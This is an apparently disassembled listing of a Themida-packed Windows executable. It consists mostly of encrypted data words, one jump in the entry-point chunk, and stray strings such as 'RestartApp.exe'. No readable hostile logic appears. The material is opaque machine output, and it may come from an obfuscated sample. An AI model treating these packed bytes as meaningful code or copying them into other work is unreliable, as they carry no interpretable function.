		dd 0A685E3h, 22C45BFCh,	0E24F9C06h, 13183079h, 3D517362h
		dd 99166052h, 0B43B5361h, 0A2774100h, 34E29094h, 0F4F5307Ch
		dd 4C5B66B9h, 3B1048h, 0DEAF6E0Dh, 56452AEh, 7013EA2Dh
		dd 0FA2C0061h, 9C35AD83h, 0C0B5000h, 0CD778C72h, 891318E2h
		dd 0C3E72963h, 0A1FA700h, 96236CCCh, 88E1C03Eh,	8C161C76h
		dd 0A1ED4B00h, 87ADB582h, 139000A6h, 308FC111h,	0AE1E63DEh
		dd 943D818Ch, 14403A77h, 90B893CCh, 407200C4h, 64D53E5Eh
		dd 526F3E37h, 57E32160h, 0D7FE1B4Dh, 7C9CDC00h,	0F224F684h
		dd 4087F5D2h, 20CA34F7h, 0D96A5166h, 0FDE07300h, 436D83A7h
		dd 4DD0CE8h, 5CE8C268h,	8B778600h, 6BF2F980h, 0F7F530FDh
		dd 7543B389h, 0E6A7AD0Fh, 0C86E8068h, 0C3F8F649h, 6D04FE21h
		dd 6BC0428Ah, 3C48AEF4h, 8CBB0003h, 8F2A3133h, 7E6600F5h
		dd 0A6D27C84h, 5D0EE5D3h, 8562A22Bh, 13FC9423h,	0C405010Eh
		dd 5FEB401Fh, 0F06BEC47h, 906E152Ah, 2D98521Eh,	589FF8CCh
		dd 0D2370982h, 8B00B638h, 60EAFD58h, 7D740D01h,	0C9D30BA0h
		dd 0D4009854h, 5A7AD02Ch, 14607820h, 0B45EE199h, 48F5C29Eh
		dd 0E4A03A96h, 512B0826h, 0D55F4D00h, 975899C4h, 59190092h
		dd 0A0620938h, 3400BD8Dh, 0B8018C6Eh, 0A1D00B06h, 8DE0B038h
		dd 0CB371687h
		dd 602C00ECh, 0AD69CDB5h, 49E5A403h, 0CF8E45E6h, 89ECE6h
		dd 50BDA08Dh, 8C423AD7h, 0B735AE14h, 8DA181F8h,	0ADE8F091h
		dd 90CC2A05h, 9B88011Ch, 5233A2D6h, 7A318013h, 0A3952B49h
		dd 6D66000Ch, 0F794142Fh, 9301E5F9h, 0BF8DBCEBh, 944221EDh
		dd 86FB20CAh, 0B00634ADh, 67B7F150h, 28A11DE8h,	0EFB400E5h
		dd 5373165Ch, 4869CA60h, 0E2C94Ah, 0A5573AF7h, 256E54C5h
		dd 0C60308FCh, 0D1BE843Dh, 9377A071h, 39C76052h, 917F1B0Dh
		dd 73861003h, 986063E9h, 72DA2988h, 0C77A004Fh,	8D27B105h
		dd 302B0A4h, 9ACC56AFh,	0F13C480Dh, 0A00C04D0h,	8036D645h
		dd 8251AD24h, 4B35C40Ch, 159569DDh, 0EC389617h,	5292B71Ch
		dd 71F00347h, 44A8F215h, 761CDDD4h, 5EC1DC98h, 8FD53D1Dh
		dd 0EC4A3ED0h, 0B5AF0360h, 36BA0BFCh, 0D7814900h, 0A011C0FAh
		dd 0EB9E1277h, 0D8BC23F6h, 332B69A8h, 744EFA00h, 0EB28097h
		dd 59811D58h, 88E8C07Eh, 52041A87h, 0F9A91460h,	83DC2Dh
		dd 9DDF15E9h, 0B03E0325h, 4B495578h, 804D3880h,	0D7BCB293h
		dd 0F1218Ch, 0D3094644h, 0A8175D0Bh, 9551CE3Fh,	7E8C496h
		dd 28F90C8Ch, 11412467h, 31607F57h, 97E300F6h, 0C0703F01h
		dd 406B060h, 0F538777h,	25780091h, 3FC59E24h, 9301B6B2h
		dd 8642FF01h, 4070D18Ch, 788998Dh, 953B4A33h, 0C99C1C1Eh
		dd 1C000DB7h, 5F5A80AFh, 2C4BEF00h, 8A015310h, 70336305h
		dd 41006D15h, 92182282h, 0B58086h, 0A5CA9D67h, 135D68E0h
		dd 4A34F10Ch, 12A199BFh, 0AEAB46h, 3520A088h, 0D02ECC40h
		dd 711B0EB3h, 58900780h, 0EC520B42h, 1FE6AF39h,	1E9E7B00h
		dd 0AD3CDA2h, 0EDDC068Bh, 0EE3F57D0h, 160698C2h, 7D602F34h
		dd 326DB451h, 0E017BC00h, 10C0B1A9h, 0B48077Ch,	44847DE4h
		dd 4A0C88DDh, 2533F000h, 9870AEE7h, 15013FB0h, 0B1C451E0h
		dd 590E6D37h, 0A00FEC97h, 8D890C4Ah, 8CDA0799h,	70ABC4E5h
		dd 229662B1h, 5E423100h, 0AE54F115h, 41B826D4h,	249361BCh
		dd 0CCEFFCD5h, 0FCF1F39h, 60018B3Eh, 232A87C4h,	284A3F17h
		dd 0BDFD4E00h, 5ADEAE8Dh, 0B06A3F0Eh, 18D3E92Bh, 6206C8h
		dd 0C33EBD7Bh, 58868D8Ah, 0B6CF0200h, 0AAB963A4h, 983C58DAh
		dd 0FCD36238h, 0E40F2800h, 3854D08Eh, 47BCF200h, 9A647DEEh
		dd 0E82401DEh, 1B9C3406h, 2BE440AEh, 5352BC3Eh,	0BE007BCCh
		dd 0BFCA45F8h, 17B8D4Fh, 4783F264h, 0E871AF9Dh,	0FC0B2EDCh
		dd 9097AD84h, 0BD9324h,	49800A92h, 5C3DD2E4h, 0D6C8D401h
		dd 0BF342C8Fh, 901E0032h, 554A4F48h, 9A719240h,	306096A4h
		dd 517BC249h, 8DB90085h, 0CC0FE049h, 4A0F045Ch,	83896321h
		dd 7115C4h, 84D945F1h, 10FF90E6h, 5CB45800h, 0CA6CB706h
		dd 10A47803h, 24FC8054h, 4E320004h, 2E8C40Fh, 3C8762D1h
		dd 0C060FC40h, 94488F9Eh, 0A9092424h, 3381FB1Eh, 8C07789Dh
		dd 71A7FCC4h, 0CC3E13A6h, 15302297h, 0DA1E5044h, 0C3805CC5h
		dd 0B5EB213Ch, 541405B9h, 49D2E99h, 0DBCC98h, 0B364477Eh
		dd 19FF694h, 7B0DFF56h,	0E02BC94Bh, 88A83997h, 0A50198CCh
		dd 9C02B343h, 7AC88862h, 8741004Fh, 0D842A1ADh,	76883A15h
		dd 9018001Bh, 9C8A1E2Dh, 222EDF87h, 0FE014834h,	0BA1D6110h
		dd 0BE43F88Ch, 1E3B2CD0h, 0A149038Eh, 4457477h,	5480E6E8h
		dd 0DBDCC2A4h, 40C8F625h, 62F5007Dh, 0E3073708h, 49067944h
		dd 39158C31h, 888F0089h, 3BFAC56Fh, 507EF64Eh, 5F49900h
		dd 28F35DD5h, 8DBB0093h, 0AA66E48Ch, 5F06EAFBh,	0AFA85C80h
		dd 0EC2890A1h, 8CC5CA9h, 81940C00h, 6C145FB8h, 0B7698FE7h
		dd 38760658h, 2CDD7811h, 116C33C9h, 9D5F000Fh, 54E4257h
		dd 2D400796h, 0E0D6D844h, 13153C0Ch, 41548931h,	7840B534h
		dd 16A53B5Eh, 880C94Fh,	774318FCh, 87A13DCEh, 0C0169114h
		dd 0F0DA1C80h, 4500BE7Bh, 96A5F5BAh, 2E9A355h, 9E2B2881h
		dd 0C078515h, 0A92010F9h, 55603B6Fh, 67715680h,	0D03413A5h
		dd 0A7D7B80Fh, 96DD21F5h, 0F4318175h, 73003823h, 0FF77F330h
		dd 34003C01h, 7A81B38Ch, 1466E5C9h, 0B80F0919h,	0AD443E07h
		dd 43398CF3h, 18F73Fh, 73EB136Fh, 2426C5D6h, 0B9440ABh
		dd 3885BB06h, 0ECA4C729h, 3A02ADE8h, 524A753Eh,	0D184A019h
		dd 399F6699h, 1400F7C7h, 0DC0D4B38h, 35541537h,	9F3F8888h
		dd 19AA04B6h, 0F48C6AB4h, 80AB3AE5h, 7A13DB80h,	6B863334h
		dd 0BE65DE00h, 90399392h, 71B73C07h, 7C6ECD85h,	288CC388h
		dd 93CC410Ah, 48AEA0DCh, 0DD215040h, 9E2E000Ah,	9B64FC57h
		dd 0D93D0994h, 25A616A9h, 0F8E00800h, 7531BB5Ah, 8A1326D2h
		dd 428067A0h, 0BC42042Eh, 0B161444h, 741E4D0Ch,	9A632A00h
		dd 0C01288C0h, 0AE510918h, 910262DFh, 8F3554EAh, 64106025h
		dd 0CDE0738h, 0C455722Bh, 6C10A4F5h, 95684A04h,	9CB2023Eh
		dd 0E3D63D07h, 0D09A209Fh, 581FB6F2h, 15812DB2h, 0AA760FEBh
		dd 0FCE070CDh, 311707D7h, 5D4935EFh, 538C4241h,	9A69DE20h
		dd 0F6B83F4Eh, 4F982E1Fh, 6C83EFF4h, 60A0BE78h,	0D0CA01Eh
		dd 99E3F3ACh, 0D98100ABh, 0F4319253h, 74C2291h,	11D32174h
		dd 0C4D1176Fh, 32D78A00h, 3BD278D9h, 2781A241h,	772F5689h
		dd 86C47005h, 0A1CD5337h, 0DA51A16Fh, 0FEC4EA45h, 9D0407A6h
		dd 40059CF1h, 958DC41Ch, 80F2C739h, 3313E059h, 6CCCA6h
		dd 8F70D03Dh, 0EE52A920h, 2B1051C7h, 644FBD90h,	0D6420EDEh
		dd 0B081686Eh, 0D0067D39h, 6573F3F2h, 0A2077C91h, 4910EF82h
		dd 5C1AAC7h, 52038780h,	0F69C8025h, 0E20189FFh,	0D429A064h
		dd 0C2215E8h, 7A00353Ch, 8FE5AFF5h, 6F00E630h, 0B03CCC70h
		dd 4997B853h, 0F744C31h, 28D6F73Dh, 82AC49A5h, 0CE0A0BEh
		dd 0A228E465h, 2502C8E3h, 35D2DD7Ah, 262C64B3h,	8090058Dh
		dd 8A648C23h, 81D33716h, 16EF8828h, 18A552B4h, 3B969032h
		dd 0A8C281C0h, 0BA87F1h, 55AE61AFh, 6B305474h, 0B81FB902h
		dd 414D5EEAh, 798099A0h, 0D1A08EDBh, 0B4943790h, 9095050Bh
		dd 49AFA0h, 5F21EC45h, 0BF462C7Fh, 0F83FA60Fh, 0D5D380BCh
		dd 0C129380h, 0B70B859Ch, 66F85DB1h, 0FA78FC09h, 7FEC68F5h
		dd 0B0230C58h, 3F68063Dh, 80F045EBh, 0EBBA80F4h, 7DC33F3h
		dd 641D5F38h, 5686380h,	76BF0548h, 0C0C50A4Ah, 51E0555Ch
		dd 0DC26E8B3h, 8DA07300h, 94EE5ECEh, 941B4068h,	1101A705h
		dd 0D5512B7Bh, 0EBC1AE04h, 8EDAFF5h, 65B0430h, 167FE2A8h
		dd 0D700395Ch, 4761B301h, 1447780h, 0B1F55B25h,	7695CC08h
		dd 65017C24h, 0F1C89B12h, 2091CD77h, 0E415290Bh, 895C9B00h
		dd 450D60Fh, 53EB2811h,	0B07FC38Fh, 409D8DB9h, 4A07BEECh
		dd 0F4221E05h, 0D492E7D6h, 640780Eh, 9C35C871h,	54587858h
		dd 4A9E0048h, 0C4B0DF5h, 0F1A1FB9h, 0FC4500AEh,	775B144Dh
		dd 5883F926h, 4CF6400Ah, 0D440411Ch, 2960CEB6h,	0C9C00D3h
		dd 0A2114859h, 8E19263Ah, 0C060868Ch, 9FBCC4Ch,	16D1F672h
		dd 56FFBE01h, 12B69839h, 7E8E321h, 0AD3D8B0Bh, 1C8EA34h
		dd 70A3A59Ch, 68C30B3h,	0C840D09Eh, 4E36998h, 46C1A381h
		dd 0F2F1C383h, 0E03B27A3h, 0B1FD307Dh, 0FA351E29h, 537F32h
		dd 927F4AE5h, 0AA801242h, 24903E7Fh, 1B09FFF6h,	0A00625EBh
		dd 0D00C2CC4h, 96271867h, 1B137932h, 0C0FC2B01h, 0FBB3D2C8h
		dd 2C7288E5h, 410A627h,	0CA903CE7h, 56255902h, 85B08C7Ah
		dd 748C54C0h, 7D480E5Fh
		dd 8205BB91h, 1CE80B65h, 0B21A8898h, 0A301E9EEh, 0DF5FC242h
		dd 0B8217B9Bh, 0D00A0B8h, 97BEBD6Eh, 82DBC5h, 0C1C6DAEFh
		dd 34A70F59h, 9549F780h, 0A5789CC8h, 625CA000h,	0BD63C85Eh
		dd 32E40029h, 166AC73Ah, 7E4C22B5h, 0EA00706Ch,	185DE1BFh
		dd 58A44148h, 0C09F090h, 34EBDF0Bh, 0B88001C2h,	0DC46A075h
		dd 8915C18h, 74C42140h,	2D1B05ADh, 8D9C5783h, 0FF98D8B8h
		dd 5D7C7F00h, 67F95968h, 29E900BAh, 0C220BDFEh,	0BB012AFBh
		dd 0F71A73DFh, 0EC30EC54h, 1BCF8C3h, 84B35540h,	802797BFh
		dd 0B8BE14D9h, 176AB05h, 51CD639Dh, 0F4F44384h,	310082B0h
		dd 0EDF311A4h, 9DD4868h, 0DE0B5A55h, 42CCB0C8h,	89080A4Ch
		dd 0E26493DFh, 1E78649Ah, 80E5A377h, 14C94934h,	0D1C64C8Fh
		dd 313395h, 0B7F37917h,	60C12586h, 8C87E301h, 0A6AC1FE7h
		dd 0A02B0020h, 0B15D98h, 86ED8B8Eh, 0A393C744h,	0E42CF826h
		dd 71AE2D01h, 0E040B888h, 0A00618C1h, 4DD26F8h,	0B60B2E66h
		dd 0F84B47C8h, 1C4A3D20h, 1174005Fh, 0D5918DEEh, 301E8749h
		dd 9805BCEAh, 84C2A840h, 0E19A1031h, 7315F08Bh,	3585064Dh
		dd 8AE1D94h, 9C705006h,	4538BEEAh, 12483030h, 600EE5F4h
		dd 74EA73F6h, 0D7CF809Ch, 0FB7710h, 0BCA81C2h, 31518898h
		dd 64E32301h, 8B7A893Fh, 49364C30h, 0BA001C6Eh,	4CF3B18Dh
		dd 3C940ACAh, 0BDF77B07h, 12BF80C9h, 2CB03FA1h,	40AC162Eh
		dd 0D2963706h, 4020254Eh, 674C8Bh, 92789969h, 8A14D584h
		dd 0BC3BF60Ch, 0B580A8h, 0AB700AE8h, 7785E140h,	58B1A606h
		dd 7595015h, 0C4056CE9h, 43229037h, 0AD13C697h,	21B80Bh
		dd 69C863EBh, 0A0B94C88h, 188FEA09h, 6F507803h,	340920D6h
		dd 80D9588Dh, 0D57A54BCh, 4F609E3Fh, 4884B4C0h,	8C008251h
		dd 197A79C4h, 0B5E0CD3h, 0EA439409h, 478F94C0h,	0C1279688h
		dd 76F1081h, 826E2033h,	0D2AEBF00h, 0F361EF0h, 0B67301A9h
		dd 0CC1CFA53h, 47F04890h, 623A4A01h, 0D9434FDh,	89CA7C20h
		dd 6216CDB0h, 64C51F78h, 36804643h, 7B6BA039h, 6F08120Ah
		dd 0DE5E07C6h, 96BB525Ah, 41029044h, 0BF0753FDh, 0D4F2F3h
		dd 0AB2C92E8h, 0BA39940Ah, 9D938702h, 4897F9ACh, 24532EA0h
		dd 1334A784h, 6C78302Ch, 60FDCB3h, 0C1013BB8h, 660521A9h
		dd 8C26B881h, 20DA9DE8h, 643EAB70h, 8420CA50h, 90F76D7Dh
		dd 0BF3003E9h, 0FD6494Eh, 138E0DFh, 0AD3DFB0Ch,	0C830CB35h
		dd 0C0C15174h, 0B8C25511h, 10B696B2h, 1700486Ah, 3314B389h
		dd 0BEEB24A5h, 0B411D5Ch, 94433EADh, 5496A178h,	729AB740h
		dd 0F07B0021h, 99C4CA98h, 0BE5035BFh, 8B551438h, 873460D0h
		dd 0FB332902h, 0E1D15FD5h, 38683C16h, 50CE2080h, 5E0A68DFh
		dd 0A4A69B64h, 0E07A2405h, 1E39A8C0h, 3404168Fh, 0E9B08DB6h
		dd 0E1E020EFh, 4A3644h,	26F932F8h, 1ECD8EB9h, 554BD48h
		dd 3DF2B374h, 8DD88Ch, 84BB5105h, 0DC7919A4h, 0B0350A1Ah
		dd 56A4C0E8h, 53902C4Eh, 0E0C6578h, 0C3A127C7h,	63B7FA38h
		dd 0BCCD28D8h, 9483D100h, 0DF0FE761h, 5B821CD6h, 801C64F6h
		dd 0EB2209F8h, 0FA0B4624h, 8205BBAEh, 0C0DE3EF4h, 549B575h
		dd 4DF25A29h, 0A290E453h, 0A1AF771Dh, 9F0059DDh, 67D76A29h
		dd 90A900F0h, 0B5C62F82h, 47057F28h, 0E6FE3844h, 4F9EF880h
		dd 80989E96h, 0ABA1E89Fh, 27E25E74h, 262D2800h,	0F1BF9B6Bh
		dd 0A1057869h, 0AC4059FCh, 1BCDB88h, 8FE59F77h,	3D4C3426h
		dd 1F901600h, 798D40C0h, 39530BE0h, 0B4C85217h,	0BB0069C0h
		dd 0D21550A8h, 375A34Ch, 0F5E6F4D4h, 0FE9A2F4Ah, 1C2088A0h
		dd 40138E48h, 9800EB7Eh, 2E8BE469h, 0D4583946h,	8EA7E58Ah
		dd 15520C99h, 4F001D61h, 8F860FC0h, 0D1E6F2h, 3B4A2DA6h
		dd 0C1781633h, 5D8A759h, 0F9BCCF8Dh, 25008CA2h,	0B8190682h
		dd 57009A04h, 0FB80BD45h, 0E8ECCA0h, 543795D4h,	649824A0h
		dd 7CB197A7h, 0A9AF1200h, 855B93h, 64D5594Ch, 929D8ABFh
		dd 16819E1Eh, 0C4AA801h, 3C2CF19Bh, 9D16D80h, 0FF3ECE57h
		dd 58D4AE31h, 5C368B00h, 4FB0804Fh, 0E9942054h,	0D91CE652h
		dd 0E400134Bh, 0EF92D11Ah, 0A8109591h, 7E71A1E7h, 9B482D00h
		dd 0C0B2AE1h, 0E3F2227Ah, 6A043372h, 5F06C6D5h,	5C3C5CCCh
		dd 7E004690h, 0C1C31636h, 34008533h, 0FA44E7E3h, 1ED07D5h
		dd 252E695Fh, 702FBF89h, 217FBB88h, 0B430F550h,	80C2C43Dh
		dd 850D7109h, 2781E047h, 1801E4CFh, 3253CDBAh, 0F1270004h
		dd 8E36DEA1h, 869B0995h, 70183EBFh, 490B2579h, 80739282h
		dd 744BC8C4h, 0F8A10B77h, 8C81EEEBh, 2486EA9Dh,	0A30091E4h
		dd 32034A3Eh, 84114Eh, 0A00DD1ADh, 8F175547h, 9088374Ah
		dd 4BA40077h, 0B8252279h, 0AEB846C0h, 812A0700h, 66A6BADFh
		dd 2FA9724Dh, 60A016EBh, 393D17CCh, 4FC02B00h, 0EE46080Dh
		dd 0F21C264Eh, 84CF0048h, 0E5937783h, 0EA0C6505h, 0B420F65Ch
		dd 0E38A9811h, 5BE851E9h, 43013D7Bh, 6CF0618Ah,	0FCA14F8Ch
		dd 9E9AE255h, 0E0C90BD8h, 37C88106h, 0F3D13BDDh, 2D5E7BC4h
		dd 30103EEDh, 8200BCD6h, 0C9308385h, 1298A95Ch,	82F8B012h
		dd 0D07942ECh, 15BA7084h, 7780F4h, 41979267h, 0FC365D25h
		dd 0A7F3DC17h, 22064009h, 5C631324h, 493486C4h,	6491791Ah
		dd 9BB56080h, 2E797A09h, 6030A97Bh, 4FF84CB3h, 21785701h
		dd 40EEBAA7h, 13A08870h, 2097B85Dh, 0A44BC98h, 2C846C1Eh
		dd 2F0194ACh, 8572A6A9h, 42558840h, 483CB028h, 3322A82Ch
		dd 66D3A100h, 6965D70Ch, 5C4258C1h, 0D0528613h,	1E3D11A8h
		dd 0D27C4900h, 3577D16h, 8B130771h, 29FD37E7h, 7700D444h
		dd 45860C2h, 1C48610Bh,	459164B7h, 82289914h, 50D1EB6Ah
		dd 0ED88BE00h, 735660E0h, 0CF281EEAh, 1C31899Ah, 0A91CF464h
		dd 0C24053B7h, 5A3C26C1h, 4A0C002Ch, 56CFA221h,	0B11C5873h
		dd 0D40264E5h, 990E3FCDh, 903374D8h, 62AE0400h,	3302ABE1h
		dd 3B7CFF0Eh, 0AC2B20EBh, 5FF865h, 890B4BDFh, 0BE88782Fh
		dd 0A055A4A0h, 1DCAA4Ch, 2072DD3Dh, 483295F1h, 0B0B51B00h
		dd 5B8EDFC3h, 61E55Ch, 6A07E0CBh, 92FC1781h, 0D0F8D2B8h
		dd 4422C530h, 3B0068EEh, 0FA351947h, 127AF8Ch, 2342FB10h
		dd 0BDDEBE34h, 1144DCC9h, 1412C6B7h, 96282170h,	9A00D2CDh
		dd 6723DAh, 4CCA9332h, 8040A5Ah, 0BF00A9EEh, 8DAD9807h
		dd 2794C09Fh, 3C111AF7h, 4A30302Bh, 2A43CE00h, 0B7276D1Ch
		dd 3C04974Eh, 7800F073h, 2DB26806h, 121081A4h, 0F4A947Bh
		dd 0E6000128h, 0B70B62F1h, 85740600h, 9DBF8AD8h, 100760CBh
		dd 41DCB161h, 862A7700h, 3CC7E265h, 2F0D00D3h, 7C19FC55h
		dd 123735C5h, 0BD004101h, 0EFDC22Eh, 45B80D22h,	75479820h
		dd 34902C35h, 0DFACF906h, 30A89Eh, 0F74C7907h, 67E7380Ch
		dd 1FC82217h, 771102FAh, 4041CF1Ah, 0FD33C19Eh,	80988CD9h
		dd 1D8A12Fh, 56B0F72Dh,	0BE7CF501h, 0CE9E1950h,	40D62121h
		dd 50F1CAB1h, 0FE99208Eh, 0CA80555h, 40EC7C92h,	0AA09C818h
		dd 1F0156C1h, 273095F7h, 5980818Eh, 0BFC3DBD1h,	0D20028C6h
		dd 0A22F85D0h, 1C5A18FFh, 1DD65DB9h, 0B026C03Ch, 1125C250h
		dd 0A873FC33h, 2103E805h, 95F6000Bh, 293D1520h,	3101237Ch
		dd 2830D59Bh, 0F880B98Eh, 0F76A03A6h, 0FB7C64B6h, 94594E05h
		dd 89C0FE0Ch, 9FEE48h, 100549E4h, 31801F54h, 18C00852h
		dd 7AB18632h, 0F63500A7h
		dd 0D31DE9BCh, 2D07800Ch, 0BA83CC55h, 0CBB9ACC0h, 596D00FFh
		dd 270341ADh, 8700FBD3h, 55EC573h, 0BF7933Dh, 1D8C949Eh
		dd 0D1FFFF06h, 6590C103h, 0B347F57Ch, 9FB8008Fh, 0FC3A5EDCh
		dd 80E4FFF3h, 0D79D89C5h, 7B43B040h, 1EDA1BAh, 0F0FB7271h
		dd 0C0B8AC2Ch, 2D00FF29h, 0D59D875Ch, 3063565Ah, 1E39C69Eh
		dd 91002E38h, 344ECCC4h, 5234886h, 8BD35051h, 5DEC4059h
		dd 0B0C256E1h, 8F15321Fh, 0A87507FFh, 7640912Dh, 79AE441h
		dd 977707B8h, 0EB12C379h, 0F054D100h, 0BD59E051h, 47B70F17h
		dd 9267E3BFh, 738E700Eh, 0BB00D322h, 4CCE3A83h,	0C501ACFEh
		dd 0A885E1h, 0B036A480h, 61027A1Dh, 98F4CDF7h, 5A89DF86h
		dd 0DD9D0683h, 0AB803113h, 9E82F402h, 0F18448B1h, 0E86C383Dh
		dd 6E0A4004h, 93DF8042h, 9C29156Dh, 0FF7F01CCh,	0B0FDh
		db 3 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_53CC4F:				; CODE XREF: start:loc_4E0265j
					; DATA XREF: start:loc_4E0086o
		jmp	loc_53FFC0
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 10h
aM@		db 'º}M@',0
		align 4
		dd 77E805D8h, 5	dup(0)
		dd offset aSSss		; "‘<²áé™"
		dd 1Ah dup(0)
		dd 0A740h, 3 dup(0)
		dd 0D0h, 12FFF0h, 2 dup(0)
		dd 0CFFEDDA0h, 6 dup(0)
aDbcw		db 'D¡çw',0
		align 10h
		dd 3 dup(0)
		dd 9F915Bh, 17h	dup(0)
dword_53CD9C	dd 4, 5	dup(0)		; DATA XREF: Themida_:0053FA2Co
		dd 7C071E28h, 6	dup(0)
		dd 0FFE52BCFh, 7F568D8Dh, 3 dup(0)
		dd offset byte_58FCC1
		dd 7D1h, 5D351AB2h, 4 dup(0)
		dd 1, 5	dup(0)
		dd 9F70C4h, 0
		dd 0B241h, 81h dup(0)
aTeW		db 't…Öw',0
		align 10h
		db '!!!!',0
		align 4
		dd 0
		dd 4, 442Ch, 4 dup(0)
		dd offset byte_57C2B9
		align 10h
		dd 7FFE0304h, 0
		dd offset word_570A62
		dd offset dword_53D4D4
		dd 0FFA8927Ch, 9F69DDh,	570023h, 77E75CB5h, 10B0h, 3 dup(0)
		dd 0EE44h, 3 dup(0)
		dd offset dword_576D84
		dd 2 dup(0)
		dd 77D40000h, 9	dup(0)
aMG		db 'M"&£',0
		align 4
		dd 3 dup(0)
aJCwljD		db '†Äçwl¦$¤',0
		align 4
		dd offset byte_576D6D
		dd 0Ch dup(0)
		dd 9F69DDh, 77E78B82h, 0Dh dup(0)
		dd 1E9E5D57h, 54495Dh, 5 dup(0)
		dd 77DD59F0h, 0Bh dup(0)
		dd 2406CB8h, 3 dup(0)
		dd 0DE8h, 5 dup(0)
a@V		db '@',1Bh,'´v',0
		align 10h
		dd 3 dup(0)
		dd 1000h, 0
		dd offset aYQrs+2
		dd 0
		dd 0B5E2h, 3 dup(0)
		dd 2590000h, 2 dup(0)
		dd 7FFE0304h, 6	dup(0)
		dd offset byte_593B65
		dd 0Ah dup(0)
		dd 2486BD3h, 74736552h,	41747261h, 652E7070h, 6578h, 15h dup(0)
		dd 9F8C0Ah, 7FFE0304h, 0Ch dup(0)
		dd 0A9C530DFh, 57F293FDh, 7 dup(0)
		dd offset dword_57D650
		dd 0
		dd offset byte_578D4D
		dd 240000Ch, 4 dup(0)
		dd 0E80h, 10h dup(0)
		dd offset byte_571AC7
		dd 6 dup(0)
		dd offset dword_576D84
		dd 6 dup(0)
		dd 7FFE0304h, 5670E5h, 9F9499h,	0
		dd 15FCE05h, 5 dup(0)
aSw		db '\!èw',0
		align 10h
		dd 0
		dd 0AC96h, 77D4C96Ah, 5	dup(0)
		dd offset dword_589C6C
		dd 0FFA89DFEh, 0
		dd offset aA_2		; "`aÂ\b"
		dd 11E8h, 8 dup(0)
		dd 77E6D706h, 9F8C6Bh, 0A39995h, 2 dup(0)
		dd offset byte_5A5CA5
		dd 3 dup(0)
		dd 0D4h, 5 dup(0)
		dd 1, 0
aApzn		db 'P‡N',0
		align 2
aN_0		db '­',0
		dd 3 dup(0)
		dd offset word_598C82
		dd 2 dup(0)
aNnc		db 'ç½',0
		align 10h
		dd 8 dup(0)
		dd 0A9C530DFh
dword_53D4D4	dd 3E8h, 0		; DATA XREF: Themida_:0053D06Co
					; Themida_:0053F284o
		dd 3A0h, 2 dup(0)
		dd 881857C9h, 1, 0
		dd offset byte_584E01
aFI		db '}Fµ©',0
		align 10h
		dd 2 dup(0)
aHSw		db 'h!èw',0
		align 10h
		dd 0
		dd 0FFFF9455h, 77D4C96Ah, 6 dup(0)
		dd 144F2BCFh, 3	dup(0)
		dd 100h, 4 dup(0)
dword_53D558	dd 0A03268h, 7 dup(0)	; DATA XREF: Themida_:0053E948o
		dd 9E00F8h, 4 dup(0)
aFA		db 'äê',0Dh,'€',0
		align 4
		dd 0F19AD7E0h, 5AE2C3h,	0Dh dup(0)
		dd 0FFFF9D7Ch, 2 dup(22222222h), 0
		dd 12FF64h, 3 dup(0)
		dd offset dword_5830B0
		dd 0
		dd 100h, 9ED554h, 0Bh dup(0)
		dd 12FF54h, 4DE000h, 3 dup(0)
		dd offset byte_576D6D
aP_0		db '}p`Í',0
		align 4
		dd 11h,	2580000h, 0
		dd 9F915Bh, 0
		dd 800h, 6 dup(0)
		dd offset dword_5AA980
		dd 0E0014h, 6D84h, 0
		dd 2, 0FFA7CD94h, 0A9C530DFh, 0A0h, 4 dup(0)
		dd 77E80618h, 0
		dd 16FFFB0h, 0
		dd 35Bh, 9 dup(0)
a0		db 'Ç0ÇÉ',0
		align 4
		dd 2 dup(0)
		dd 3, 2	dup(0)
		dd offset dword_570BB8
		dd 0Ah dup(0)
		dd offset aSSss		; "‘<²áé™"
		dd 3 dup(0)
		dd offset dword_53ED28
		dd 30DFh, 0
		dd 0F19AD7E0h, 3 dup(0)
		dd offset dword_5ACFB4
		dd 4 dup(0)
		dd 77E805D8h, 0
		dd offset byte_57CB31
		dd 25A0000h, 9BB6h, 0Fh	dup(0)
		dd 0A01568h, 0FFA5E927h, 77E77963h, 0
		dd 30DFh, 0
		dd 6B4Ch, 0Ah dup(0)
		dd 9F3145h, 0A1C4CF2Dh,	9F09F7h, 0
		dd 0FF609623h, 0
		dd 9FFA56h, 5 dup(0)
		dd 0FFEBDCC0h, 7FFE0304h, 3 dup(0)
		dd offset dword_576D84
		dd 27h dup(0)
		dd 2478DF4h, 0
		dd 321820E6h, 9	dup(0)
		dd offset word_5911FA
		dd 0
		dd offset word_58FB7E
		dd 0
aSacw		db '™ çw',0
		align 10h
aM_1:
		unicode	0, <Œ>,0
aHA		db 'hÞ³A',0
		align 10h
		dd 7FFE0304h, 586CE0h, 5 dup(0)
		dd 0FFFF21D8h, 3 dup(0)
		dd 0DE28h, 0FFFF8DE4h, 5 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 1, 7FFE0304h, 4 dup(0)
		dd 3DA738F8h, 5	dup(0)
		dd 0ADB1CAh, 5 dup(0)
		dd 0F0h, 0FFFFFA18h, 7 dup(0)
		dd 123FD00Ah, 0
aMP		db '¬+pÅ',0
		align 10h
		dd 0
		dd 7FFE0304h, 73240709h, 2Ah dup(0)
		dd 7FFE0304h, 1Dh dup(0)
		dd 0FFFFFFFFh, 25B0000h, 3 dup(0)
		dd 0B4h, 5 dup(0)
		dd offset dword_445750+3539h
		align 10h
		dd 6B4Ch, 570023h, 3 dup(0)
		dd 0EEFFB610h, 7 dup(0)
		dd 0E26Bh, 0
		db '$$$$',0
		align 4
		dd 4 dup(0)
		dd offset word_575112
		dd 0DE8h, 2 dup(0)
		dd 7960BFFAh, 4	dup(0)
		dd 5FF02E38h, 0
		dd 12FF54h, 5 dup(0)
		dd 0FFA930B6h, 0
		dd 0FFFFC724h, 3 dup(0)
a6666		db '6666',0
		align 4
		dd 0E0BB0000h, 5 dup(0)
		dd 442Ch, 2 dup(0)
		dd 1FFFh, 3 dup(0)
		dd 1, 8	dup(0)
		dd 6B4Ch, 0
		dd 7FFE69DDh, 8	dup(0)
		dd 171936AFh, 6	dup(0)
		dd 0E47EDh, 25h	dup(0)
		dd 7FFE0304h, 7	dup(0)
aZSw		db 'z½éw',0
		align 4
		dd 0FFA8FFDDh, 2 dup(0)
		dd 0FFA6C2D6h, 2 dup(0)
		dd 0FFFFFFFCh, 69DDh, 5	dup(0)
		dd 77F51B2Bh, 53F81Dh, 3 dup(0)
		dd 9F9393h, 5AB523h, 9Ch, 2 dup(0)
		dd 5B44h, 2 dup(0)
